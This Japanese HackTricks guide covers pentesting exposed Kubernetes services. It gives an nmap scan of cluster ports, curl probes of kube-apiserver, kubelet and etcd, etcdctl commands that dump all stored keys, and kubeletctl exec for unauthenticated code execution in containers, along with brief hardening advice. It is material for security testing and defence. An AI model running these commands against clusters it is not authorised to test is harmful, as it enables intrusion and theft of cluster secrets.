Pentesting Kubernetes Services

HackTricksをサポートする

Kubernetesは、インターネットに公開されているか、1つのポッドを侵害した後に内部ネットワークにある可能性のあるいくつかの特定のネットワークサービスを使用します。

OSINTを使用して公開されたポッドを見つける

1つの方法は、crt.shIdentity LIKE "k8s.%.com"を検索して、Kubernetesに関連するサブドメインを見つけることです。別の方法は、GitHubで"k8s.%.com"を検索し、文字列を含むYAMLファイルを探すことです。

Kubernetesがサービスを公開する方法

Kubernetesがどのようにサービスを公開するかを理解することは、サービスを見つけるために役立つかもしれません:

Exposing Services in Kubernetes

ポートスキャンを介して公開されたポッドを見つける

Kubernetesクラスターで開いている可能性のあるポートは次のとおりです:

ポートプロセス説明

443/TCP

kube-apiserver

Kubernetes APIポート

2379/TCP

etcd

6666/TCP

etcd

etcd

4194/TCP

cAdvisor

コンテナメトリクス

6443/TCP

kube-apiserver

Kubernetes APIポート

8443/TCP

kube-apiserver

Minikube APIポート

8080/TCP

kube-apiserver

安全でないAPIポート

10250/TCP

kubelet

フルモードアクセスを許可するHTTPS API

10255/TCP

kubelet

認証されていない読み取り専用HTTPポート:ポッド、実行中のポッドおよびノード状態

10256/TCP

kube-proxy

Kube Proxyヘルスチェックサーバー

9099/TCP

calico-felix

Calico用のヘルスチェックサーバー

6782-4/TCP

weave

メトリクスとエンドポイント

30000-32767/TCP

NodePort

サービスへのプロキシ

44134/TCP

Tiller

Helmサービスリスニング

Nmap

nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16

Kube-apiserver

これは管理者が通常**kubectlツールを使用して話すAPI Kubernetesサービス**です。

一般的なポート: 6443および443、ただしminikubeでは8443、非安全なものとして8080もあります。

curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1

このサービスと対話して機密データを取得し、機密アクションを実行する方法を学ぶには、以下のページを確認してください:

Kubernetes Enumeration

Kubelet API

このサービスはクラスターのすべてのノードで実行されます。これはノード内のポッドを制御するサービスです。kube-apiserverと通信します。

このサービスが公開されているのを見つけた場合、認証されていないRCEを見つけた可能性があります。

Kubelet API

curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods

もしレスポンスが Unauthorized であれば、認証が必要です。

ノードをリストできる場合は、次のコマンドで kubelets エンドポイントのリストを取得できます:

kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
done

kubelet (読み取り専用)

curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods

etcd API

curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

ティラー

helm --host tiller-deploy.kube-system:44134 version

You could abuse this service to escalate privileges inside Kubernetes:

cAdvisor

メトリクスを収集するのに役立つサービス。

curl -k https://<IP Address>:4194

NodePort

NodePortを介してすべてのノードでポートが公開されると、同じポートがすべてのノードで開かれ、トラフィックが宣言されたServiceにプロキシされます。デフォルトでは、このポートは範囲30000-32767にあります。したがって、新しい未チェックのサービスはこれらのポートを介してアクセス可能かもしれません。

sudo nmap -sS -p 30000-32767 <IP>

脆弱な誤設定

Kube-apiserver 匿名アクセス

匿名アクセスはkube-apiserver API エンドポイントには許可されていません。しかし、いくつかのエンドポイントを確認することができます:

ETCD 匿名アクセスの確認

ETCDはクラスターの秘密、設定ファイル、その他の機密データを保存します。デフォルトでは、ETCDは匿名でアクセスできませんが、確認することは常に良いことです。

ETCDに匿名でアクセスできる場合は、etcdctl ツール使用する必要があるかもしれません。以下のコマンドは、保存されているすべてのキーを取得します:

etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

Kubelet RCE

Kubeletのドキュメントによれば、デフォルトでは匿名アクセスがサービスに許可されています:

Kubeletサーバーへの匿名リクエストを有効にします。他の認証方法によって拒否されないリクエストは、匿名リクエストとして扱われます。匿名リクエストのユーザー名はsystem:anonymousで、グループ名はsystem:unauthenticatedです。

Kubelet APIの認証と認可がどのように機能するかをよりよく理解するためには、このページを確認してください:

Kubelet Authentication & Authorization

KubeletサービスのAPIは文書化されていませんが、ソースコードはここにあり、公開されているエンドポイントを見つけるのは実行するだけで簡単です

curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'

Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").

すべて興味深いですね。

Kubeletctl ツールを使用して、Kubelet とそのエンドポイントと対話できます。

/pods

このエンドポイントはポッドとそのコンテナをリストします:

kubeletctl pods

/exec

このエンドポイントは、任意のコンテナ内でコードを非常に簡単に実行することを可能にします:

kubeletctl exec [command]

この攻撃を避けるために、kubelet サービスは --anonymous-auth false で実行されるべきであり、サービスはネットワークレベルで分離されるべきです。

Kubelet (読み取り専用ポート) 情報漏洩の確認

kubelet 読み取り専用ポートが公開されると、無許可の第三者がAPIから情報を取得できるようになります。このポートの公開は、さまざまなクラスター構成要素の開示につながる可能性があります。ポッド名、内部ファイルの場所、その他の構成を含む情報は重要ではないかもしれませんが、その公開は依然としてセキュリティリスクをもたらし、避けるべきです。

この脆弱性がどのように悪用されるかの例として、リモート攻撃者が特定のURLにアクセスすることが挙げられます。http://<external-IP>:10255/podsに移動することで、攻撃者はkubeletから機密情報を取得する可能性があります:

参考文献

HackTricksをサポートする

Last updated